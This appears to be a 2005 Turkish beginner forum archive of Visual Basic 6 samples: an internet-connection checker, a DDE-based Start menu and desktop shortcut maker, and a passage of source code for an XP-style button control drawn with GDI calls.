visual basic e yeni başlayanlar için küçük program arşivi

MaXXSoFT · 26 Ağu 2005

Kendi İnternet Hızınızı Öğrenin !

Working with registry declarations and constants
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const ERROR_SUCCESS = 0&
Private Const APINULL = 0&
Private Const HKEY_LOCAL_MACHINE = &H80000002
'Working with wininet.dll declarations and constants
Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" Alias "InternetGetConnectedStateExA" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Long, ByVal dwReserved As Long) As Long 'Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long 'this function used with IE4
'Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long 'this function used with IE4
Private Const INTERNET_CONNECTION_MODEM = &H1&
Private Const INTERNET_CONNECTION_LAN = &H2&
Private Const INTERNET_CONNECTION_PROXY = &H4&
Private Const INTERNET_RAS_INSTALLED = &H10&
Private Const INTERNET_CONNECTION_OFFLINE = &H20&
Private Const INTERNET_CONNECTION_CONFIGURED = &H40&
'Declares for direct ping
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxyName As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long
Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInet As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Long

Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Private Const INTERNET_FLAG_RELOAD = &H80000000
Private Const INTERNET_FLAG_KEEP_CONNECTION = &H400000
Private Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
Dim checkType As Integer
Dim remMsg(2) As String

Private Sub Command1_Click()
Select Case checkType
Case 0
CheckConnection1
Case 1
CheckConnection2
Case 2
CheckConnection3
Case Else
End Select
End Sub

Private Sub Form_Load()
remMsg(0) = "This is the easiest way to check connection. Checking registry value of System\CurrentControlSet\Services\RemoteAccess from HKEY_LOCAL_MACHINE. Using RegOpenKey function from advapi32.dll. Unfortunately, checking is ONLY for MODEM connection. If you are connecting to Internet via Local Area Network (LAN), this method return False even if you are connected"
remMsg(1) = "This method use InternetGetConnectedStateEx function from wininet.dll. In addition, you can receive some more information about connection - Type of connection (LAN/Modem), Using of Proxy, RAS installing, OnLine/OffLine. It's work fine, but there is one problem. If your computer is in Local Area Network but you are connecting to Internet via modem, this method always returns True, in case you are connecting to Internet or not"
remMsg(2) = "This method use direct ping to some Internet address (URL) and checking for connection errors. Now it use http:/www.yahoo.com. It's not so quickly, as previous two, but this method is the most reliable"
Option1(0).Value = True
Option1(0).Caption = "Using registry"
Option1(1).Caption = "Using InternetGetConnectedStateEx"
Option1(2).Caption = "Using direct ping to www.yahoo.com"
Text1 = remMsg(0)
End Sub

Private Sub Option1_Click(Index As Integer)
checkType = Index
Text1 = remMsg(Index)
End Sub
'This part of code is from http://www.VB-world.net with my corrections
Private Sub CheckConnection1()
Dim ReturnCode As Long
Dim hKey As Long
Dim lpSubKey As String
Dim phkResult As Long
Dim lpValueName As String
Dim lpReserved As Long
Dim lpType As Long
Dim lpData As Long
Dim lpcbData As Long
lpSubKey = "System\CurrentControlSet\Services\RemoteAccess" & Chr$(0)
ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, phkResult)
If ReturnCode = ERROR_SUCCESS Then
hKey = phkResult
lpValueName = "Remote Connection"
lpReserved = APINULL
lpType = APINULL
lpData = APINULL
lpcbData = APINULL
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, ByVal lpData, lpcbData)
lpcbData = Len(lpData)
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, lpData, lpcbData)
If ReturnCode = ERROR_SUCCESS Then
If lpData = 0 Then
MsgBox "Your computer is not connected to Internet via modem", vbInformation, "Checing connection"
Else
MsgBox "Your computer is connected to Internet via modem", vbInformation, "Checing connection"
End If
Else
MsgBox "Your computer is not connected to Internet via modem, but it can be connected via LAN", vbInformation, "Checing connection"
End If
End If
RegCloseKey (hKey)
End Sub

Private Sub CheckConnection2(Optional ByRef ConnectionInfo As Long, Optional ByRef sConnectionName As String)
Dim dwFlags As Long
Dim sNameBuf As String, msg As String
Dim lPos As Long
sNameBuf = String$(513, 0)
If InternetGetConnectedStateEx(dwFlags, sNameBuf, 512, 0&) Then
lPos = InStr(sNameBuf, vbNullChar)
If lPos > 0 Then
sConnectionName = Left$(sNameBuf, lPos - 1)
Else
sConnectionName = ""
End If
msg = "Your computer is connected to Internet" & vbCrLf & "Connection Name: " & sConnectionName
If (dwFlags And INTERNET_CONNECTION_LAN) Then
msg = msg & vbCrLf & "Connection use LAN"
ElseIf lFlags And INTERNET_CONNECTION_MODEM Then
msg = msg & vbCrLf & "Connection use modem"
End If
If lFlags And INTERNET_CONNECTION_PROXY Then msg = msg & vbCrLf & "Connection use Proxy"
If lFlags And INTERNET_RAS_INSTALLED Then
msg = msg & vbCrLf & "RAS INSTALLED"
Else
msg = msg & vbCrLf & "RAS NOT INSTALLED"
End If
If lFlags And INTERNET_CONNECTION_OFFLINE Then
msg = msg & vbCrLf & "You are OFFLINE"
Else
msg = msg & vbCrLf & "You are ONLINE"
End If
If lFlags And INTERNET_CONNECTION_CONFIGURED Then
msg = msg & vbCrLf & "Your connection is Configured"
Else
msg = msg & vbCrLf & "Your connection is not Configured"
End If
Else
msg = "Your computer is NOT connected to Internet"
End If
MsgBox msg, vbInformation, "Checking connection"
End Sub

Private Sub CheckConnection3()
Dim sTmp As String
Dim hInet As Long
Dim hUrl As Long
Dim Flags As Long
Dim url As Variant
hInet = InternetOpen(App.Title, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0&)
sTmp = Me.Caption
Me.Caption = "Checking connection with www.yahoo.com..."
If hInet Then
Flags = INTERNET_FLAG_KEEP_CONNECTION Or INTERNET_FLAG_NO_CACHE_WRITE Or INTERNET_FLAG_RELOAD
hUrl = InternetOpenUrl(hInet, "http://www.yahoo.com", vbNullString, 0, Flags, 0)
If hUrl Then
MsgBox "Your computer is connected to Internet", vbInformation, "Checing connection"
Call InternetCloseHandle(hUrl)
Else
MsgBox "Your computer is not connected to Internet", vbInformation, "Checing connection"
End If
End If
Call InternetCloseHandle(hInet)
Me.Caption = sTmp
End Sub

MaXXSoFT · 26 Ağu 2005

Visual Basic İle Kısayol yapmak !

Visual basic ile kısayol yapmanın bir çok yolu vardır. Bunlardan en basiti bu yazı ile anlatılmaktadır. DDE teknolojisi kullanılan bu yöntemde bilmemiz gerekenler;
1- Başlat menüsünde programlar klasörünün yerinin öğrenilmesi,
2- Masaüstü klasörü yerinin öğrenilmesi,
3- DDE kullanarak başka bir programla ilişki kurulması,
4- Açık bir başka pencerenin kapatılması,

Hemen uygulamaya geçelim;
a) Yeni bir proje başlatın
b) 1 ve 2 inci maddelerin uygulanması için sistem kayıt dosyasından okuma yapmamız gerekiyor. Bu nedenle projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın;
Option Explicit

Public Const HKEY_CURRENT_USER = &H80000001

Private Declare Function RegOpenKey Lib _
"advapi32.dll" Alias "RegOpenKeyA" _
(ByVal Hkey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
"advapi32.dll" Alias "RegQueryValueExA" _
(ByVal Hkey As Long, _
ByVal lpValueName As String, _
ByVal lpReserved As Long, _
lpType As Long, _
ByVal lpData As String, _
lpcbData As Long) As Long

Const ERROR_SUCCESS = 0&
Const REG_SZ = 1

Public Function GetString(Hkey As Long, _
strPath As String, _
strValue As String)

Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
Dim R
Dim lValueType As Long

R = RegOpenKey(Hkey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, _
strValue, 0&, lValueType, _
ByVal 0&, lDataBufSize)
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, _
strValue, 0&, 0&, ByVal strBuf, _
lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
GetString = Left$(strBuf, _
intZeroPos - 1)
Else
GetString = strBuf
End If
End If
End If
End Function
c) 3 üncü maddenin uygulanması için projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın;
Option Explicit

Sub KisayolYap(Nesne As Label, _
ByVal Grupismi As String, ByVal Programismi As String, _
ByVal TaniticiBilgi As String, ByVal NeEkle As Integer)
Const Virgül$ = ","
Const Düzelt$ = ", 1)]"
Const Aktif$ = ", 5)]"
Const Son$ = ")]"
Const Göster$ = "[ShowGroup("
Const GrupYarat$ = "[CreateGroup("
Const Yerleştir$ = "[ReplaceItem("
Const Ekle$ = "[AddItem("

Programismi = Chr(34) + Programismi + Chr(34)
Grupismi = Chr(34) + Grupismi + Chr(34)

Dim Döngü As Integer
Dim DenemeDöngü As Integer
For DenemeDöngü = 1 To 20
On Error Resume Next
Nesne.LinkTopic = "PROGMAN|PROGMAN"
If Err = 0 Then
Exit For
End If
DoEvents
Next DenemeDöngü

Nesne.LinkMode = 2
For Döngü = 1 To 10
DoEvents
Next
Nesne.LinkTimeout = 100

On Error Resume Next

If Err = 0 Then
Select Case NeEkle
Case 1 'Program ekle
#If 0 Then
Nesne.LinkExecute Göster & Grupismi & Aktif
#Else
Nesne.LinkExecute GrupYarat & Grupismi & Son
#End If
Nesne.LinkExecute Yerleştir & TaniticiBilgi & Son
Err = 0
Nesne.LinkExecute Ekle & Programismi & Virgül _
& TaniticiBilgi & String$(3, Virgül) & Son
Case 2 'Grup ekle
Nesne.LinkExecute GrupYarat & Grupismi & Son
Nesne.LinkExecute Göster & Grupismi & Düzelt
End Select
End If
For Döngü = 1 To 10
DoEvents
Next
Nesne.LinkMode = 0
Nesne.LinkTopic = ""
Err = 0
End Sub
d) 4 inci maddenin uygulanması için projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın;
Option Explicit
Private Declare Function GetWindow Lib "user32" _
(ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetWindowText Lib "user32" _
Alias "GetWindowTextA" (ByVal hwnd As Long, _
ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" _
Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long

Sub WindowsPencereKapat(Başliği$, FHandle&)
Dim Aktif As Integer, Uz As Integer, Başlik As String
Başliği = LCase(Başliği)
Aktif = GetWindow(FHandle, 0)
While Aktif <> 0
Uz = GetWindowTextLength(Aktif)
Başlik = Space(Uz + 1)
Uz = GetWindowText(Aktif, Başlik, Uz + 1)
Başlik = LCase(Başlik)
If Başlik = Başliği + Chr(0) Then
Dim Dur As Long
Dur = PostMessage(Aktif, &H10, 0&, 0&)
Exit Sub
End If
Aktif = GetWindow(Aktif, 2)
Wend
End Sub
e) Formun üzerine 3 label, 3 textbox, 1 command button, 2 checkbox alın ve özelliklerini;
Label1.caption="Tanıtıcı Bilgi"
Label2.caption="Grup adı"
Label3.caption="Program adı"
Text1="Deneme"
Text2="Grup Dene"
Text3="C:\Deneme.exe"
Command1.caption="Yap"
Check1.caption="Başlat menüsüne ekle"
Check2.caption="Masa üstüne ekle"
olacak şekilde properties penceresinden düzenleyin

f) Formun kodları aşağıdaki gibi olsun;
Option Explicit

Sub KisaYoluYap(Grup$, Dosya$, Kisayol$)
Dim Tanitici$, KDosya$
Tanitici = Kisayol

'Başlat menüsünün yeri
KDosya = GetString(HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _
"Programs")
SonunaFlashEkle KDosya
KDosya = KDosya + Grup
SonunaFlashEkle KDosya
KDosya = KDosya + Tanitici + ".lnk"
If DosyaVar(KDosya) Then
'Aynı kısayol varsa sil
Kill KDosya
End If

DoEvents

KisayolYap Label1, Grup, "", "", 2
KisayolYap Label1, Grup, Dosya, Tanitici, 1

DoEvents

If DosyaVar(KDosya) = False Then
MsgBox ("Kısayol oluşturulamadı!")
Exit Sub
End If

'Masaüstüne ekle
If Check2.Value = 1 Then
Dim Masa$
'Masaüstünün yeri
Masa = GetString(HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", _
"Desktop")
SonunaFlashEkle Masa
Masa = Masa + Tanitici + ".lnk"
If DosyaVar(Masa) Then Kill Masa
FileCopy KDosya, Masa
DoEvents
End If

'Başlat menüsünden sil
If Check1.Value <> 1 Then
DoEvents
Kill KDosya
End If
DoEvents
WindowsPencereKapat Grup, Me.hwnd
End Sub

Private Sub Command1_Click()
If Check1.Value = 1 Or Check2.Value = 1 Then
KisaYoluYap Text2, Text3, Text1
End If
End Sub

Sub SonunaFlashEkle(Metin As String)
If Len(Metin) = 0 Then Exit Sub
If Right(Metin, 1) <> "\" Then Metin = Metin + "\"
End Sub

Function DosyaVar(sFileName As String) As Boolean
If Len(sFileName) = 0 Then
DosyaVar = False
Exit Function
End If
If Len(Dir(sFileName)) Then
DosyaVar = True
Else
DosyaVar = False
End If
End Function

MaXXSoFT · 26 Ağu 2005

Xp Boton Stilinin kaynak kodu!

İlk önce yeni bir proje açalım ve activex controlu secerek tamam tusuna basalım. Şimdi bu proje derlendiği zaman diğer uygulamalar gibi tek başına çalışan değilde , diğer programlar altında çalışan kücük uygulama olacaktır. Bu Yazıda XP butonunu yapacagız. ( xp kurulu olmasa bile buton sitili xp butonu gibi olacak)

Öncelikle Project1 olan proje ismini xpbuton olarak değiştirelim. Sonrada usercontrol1
olan control ismini buton olarak değiştirelim ve projeyi kaydedelim. Sonrada kontrol üstüne bir adet timer ekleyelim. Kod sayfasına çift tıklayarak kod görünümüne geçelim ve alttaki uzuncana kodu copy paste metodu ile koda yapıştıralım.

kod başlangıcı :

Option Explicit
'Mouse uzerinde iken gerek duyulan apiler
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
'Köşe ve kareyi çizmek için kullanılan api
Private Declare Function GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function FillRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function FrameRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function SetCapture Lib "user32" (ByVal hWnd As Long) As Long
'Çizgileri Çizmek İçin Kullanılan Apiler
Private Declare Function CreateSolidBrush Lib "gdi32" (ByVal crColor As Long) As Long
Private Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long
Private Declare Function MoveToEx Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, lpPoint As POINTAPI) As Long
Private Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long
Private Const PS_SOLID = 0
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
Private Const RGN_DIFF = 4
'Birazda renk
Private Declare Function GetTextColor Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SetTextColor Lib "gdi32" (ByVal hdc As Long, ByVal crColor As Long) As Long
Private Declare Function DrawText Lib "user32" Alias "DrawTextA" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long
Private Const DT_CALCRECT = &H400
Private Const DT_WORDBREAK = &H10
Private Const DT_CENTER = &H1
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Type POINTAPI
X As Long
Y As Long
End Type

Public Event Click()
Public Event MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Public Event MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Public Event MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Public Event KeyPress(KeyAscii As Integer)
Public Event KeyDown(KeyCode As Integer, Shift As Integer)
Public Event KeyUp(KeyCode As Integer, Shift As Integer)
Public Event MouseOver()
Public Event MouseOut()

Private rc As RECT
Private W As Long, H As Long
Private rgMain As Long, rgn1 As Long
Private isOver As Boolean
Private flgHover As Integer
Private flgFocus As Boolean
Private LastButton As Integer
Private LastKey As Integer
Private r As Long, l As Long, t As Long, b As Long
Private mEnabled As Boolean
Private mCaption As String
Private mForeHover As OLE_COLOR

Private Sub DrawButton()
Dim pt As POINTAPI, pen As Long, hpen As Long

With UserControl
'Sol Üst Köseyi Karalayalım
hpen = CreatePen(PS_SOLID, 1, RGB(122, 149, 168))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, t + 1, pt
LineTo .hdc, l + 2, t
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(37, 87, 131))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, t, pt
LineTo .hdc, l, t + 2
SelectObject .hdc, pen
DeleteObject hpen
SetPixel .hdc, l, t + 2, RGB(37, 87, 131)
SetPixel .hdc, l + 1, t + 2, RGB(191, 206, 220)
SetPixel .hdc, l + 2, t + 1, RGB(192, 207, 221)

'Üzt Çizgiyi Çiziyoruz
hpen = CreatePen(PS_SOLID, 1, RGB(0, 60, 116))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 3, t, pt
LineTo .hdc, r - 2, t
SelectObject .hdc, pen
DeleteObject hpen

'Sağ Üst Köse inşaası
hpen = CreatePen(PS_SOLID, 1, RGB(37, 87, 131))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, r - 2, t, pt
LineTo .hdc, r + 1, t + 3
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(122, 149, 168))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, r - 1, t, pt
LineTo .hdc, r, t + 2
SetPixel .hdc, r, t + 1, RGB(122, 149, 168)
SetPixel .hdc, r - 2, t + 1, RGB(213, 223, 232)
SetPixel .hdc, r - 1, t + 2, RGB(191, 206, 219)
SelectObject .hdc, pen
DeleteObject hpen

'sağ Çizgi
hpen = CreatePen(PS_SOLID, 1, RGB(0, 60, 116))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, r, t + 3, pt
LineTo .hdc, r, b - 3
SelectObject .hdc, pen
DeleteObject hpen

'Sağ alt köşe Çiziliyor
hpen = CreatePen(PS_SOLID, 1, RGB(37, 87, 131))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, r, b - 3, pt
LineTo .hdc, r - 3, b
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(122, 149, 168))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, r, b - 2, pt
LineTo .hdc, r - 2, b
SetPixel .hdc, r - 2, b - 2, RGB(177, 183, 182)
SetPixel .hdc, r - 1, b - 3, RGB(182, 189, 189)
SelectObject .hdc, pen
DeleteObject hpen

'Alt Çizgi
hpen = CreatePen(PS_SOLID, 1, RGB(0, 60, 116))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 3, b - 1, pt
LineTo .hdc, r - 2, b - 1
SelectObject .hdc, pen
DeleteObject hpen

'Sol alt çizgi
hpen = CreatePen(PS_SOLID, 1, RGB(37, 87, 131))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 3, pt
LineTo .hdc, l + 3, b
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(122, 149, 168))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 2, pt
LineTo .hdc, l + 2, b
SetPixel .hdc, l + 1, b - 3, RGB(191, 199, 202)
SetPixel .hdc, l + 2, b - 2, RGB(163, 174, 180)
SelectObject .hdc, pen
DeleteObject hpen

'Sol Çizgi

hpen = CreatePen(PS_SOLID, 1, RGB(0, 60, 116))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, t + 3, pt
LineTo .hdc, l, b - 3
SelectObject .hdc, pen
DeleteObject hpen

End With
End Sub
Private Sub DrawFocus()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
With UserControl
'ust kose
hpen = CreatePen(PS_SOLID, 1, RGB(206, 231, 251))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, t + 1, pt
LineTo .hdc, r - 1, t + 1
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(188, 212, 246))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 1, t + 2, pt
LineTo .hdc, r, t + 2
SelectObject .hdc, pen
DeleteObject hpen

ColorR = 186
ColorG = 211
ColorB = 246
For i = t + 3 To b - 4 Step 1
hpen = CreatePen(PS_SOLID, 2, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, i, pt
LineTo .hdc, l + 2, i + 1
MoveToEx .hdc, r - 1, i, pt
LineTo .hdc, r - 1, i + 1
SelectObject .hdc, pen
DeleteObject hpen
If ColorB >= 228 Then
ColorR = ColorR - 4
ColorG = ColorG - 3
ColorB = ColorB - 1
End If
Next i

hpen = CreatePen(PS_SOLID, 1, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 1, b - 3, pt
LineTo .hdc, r - 1, b - 3
SelectObject .hdc, pen
DeleteObject hpen

SetPixel .hdc, l + 2, b - 2, RGB(77, 125, 193)
hpen = CreatePen(PS_SOLID, 1, RGB(97, 125, 229))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 3, b - 2, pt
LineTo .hdc, r - 2, b - 2
SetPixel .hdc, r - 2, b - 2, RGB(77, 125, 193)

SelectObject .hdc, pen
DeleteObject hpen

End With
End Sub
Private Sub DrawHighlight()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
With UserControl
'Üst cizgi
hpen = CreatePen(PS_SOLID, 1, RGB(255, 240, 207))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, t + 1, pt
LineTo .hdc, r - 1, t + 1
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(253, 216, 137))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 1, t + 2, pt
LineTo .hdc, r, t + 2
SelectObject .hdc, pen
DeleteObject hpen

ColorR = 254
ColorG = 223
ColorB = 154
For i = t + 2 To b - 3 Step 1
hpen = CreatePen(PS_SOLID, 1, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 1, i, pt
LineTo .hdc, l + 1, i + 1
MoveToEx .hdc, r - 1, i, pt
LineTo .hdc, r - 1, i + 1
SelectObject .hdc, pen
DeleteObject hpen
If ColorB >= 49 Then
ColorR = ColorR - 1
ColorG = ColorG - 3
ColorB = ColorB - 7
End If
Next i
ColorR = 252
ColorG = 210
ColorB = 121
For i = t + 3 To b - 3 Step 1
hpen = CreatePen(PS_SOLID, 1, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, i, pt
LineTo .hdc, l + 2, i + 1
MoveToEx .hdc, r - 2, i, pt
LineTo .hdc, r - 2, i + 1
SelectObject .hdc, pen
DeleteObject hpen
If ColorB >= 57 Then
ColorR = ColorR - 1
ColorG = ColorG - 4
ColorB = ColorB - 8
End If
Next i

hpen = CreatePen(PS_SOLID, 1, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 3, b - 3, pt
LineTo .hdc, r, b - 3
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(229, 151, 0))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l + 2, b - 2, pt
LineTo .hdc, r - 1, b - 2
SelectObject .hdc, pen
DeleteObject hpen

End With
End Sub

Private Sub DrawButtonFace()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
With UserControl
.AutoRedraw = True
.Cls
.ScaleMode = 3

ColorR = 255
ColorG = 255
ColorB = 253
For i = t + 3 To b - 3 Step 1
hpen = CreatePen(PS_SOLID, 1, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, i, pt
LineTo .hdc, r, i
SelectObject .hdc, pen
DeleteObject hpen

If ColorB >= 230 Then
ColorR = ColorR - 1
ColorG = ColorG - 1
ColorB = ColorB - 1
End If
Next i

hpen = CreatePen(PS_SOLID, 1, RGB(214, 208, 197))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 2, pt
LineTo .hdc, r, b - 2
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(226, 223, 214))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 3, pt
LineTo .hdc, r, b - 3
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(236, 235, 230))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 4, pt
LineTo .hdc, r, b - 4
SelectObject .hdc, pen
DeleteObject hpen
End With
End Sub
Private Sub DrawButtonDown()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
With UserControl
.AutoRedraw = True
.Cls
.ScaleMode = 3

ColorR = 226
ColorG = 225
ColorB = 218
For i = t + 3 To b - 2 Step 4
hpen = CreatePen(PS_SOLID, 4, RGB(ColorR, ColorG, ColorB))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, i, pt
LineTo .hdc, r, i
SelectObject .hdc, pen
DeleteObject hpen
If ColorB >= 218 Then
ColorR = ColorR - 1
ColorG = ColorG - 1
ColorB = ColorB - 1
End If
Next i

hpen = CreatePen(PS_SOLID, 1, RGB(209, 204, 192))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, t + 1, pt
LineTo .hdc, r, t + 1
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(220, 216, 207))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, t + 2, pt
LineTo .hdc, r, t + 2
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(234, 233, 227))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 3, pt
LineTo .hdc, r, b - 3
SelectObject .hdc, pen
DeleteObject hpen

hpen = CreatePen(PS_SOLID, 1, RGB(242, 241, 238))
pen = SelectObject(.hdc, hpen)
MoveToEx .hdc, l, b - 2, pt
LineTo .hdc, r, b - 2
SelectObject .hdc, pen
DeleteObject hpen
End With
End Sub
Private Sub DrawButtonDisabled()
Dim pt As POINTAPI, pen As Long, hpen As Long
Dim i As Long, ColorR As Long, ColorG As Long, ColorB As Long
Dim hBrush As Long

With UserControl
.AutoRedraw = True
.Cls
.ScaleMode = 3
hBrush = CreateSolidBrush(RGB(245, 244, 234))
FillRect UserControl.hdc, rc, hBrush
DeleteObject hBrush

hBrush = CreateSolidBrush(RGB(201, 199, 186))
FrameRect UserControl.hdc, rc, hBrush
DeleteObject hBrush

SetPixel .hdc, l, t + 1, RGB(216, 213, 199)
SetPixel .hdc, l + 1, t + 1, RGB(216, 213, 199)
SetPixel .hdc, l + 1, t, RGB(216, 213, 199)
SetPixel .hdc, l + 1, t + 2, RGB(234, 233, 222)
SetPixel .hdc, l + 2, t + 1, RGB(234, 233, 222)

SetPixel .hdc, r - 1, t, RGB(216, 213, 199)
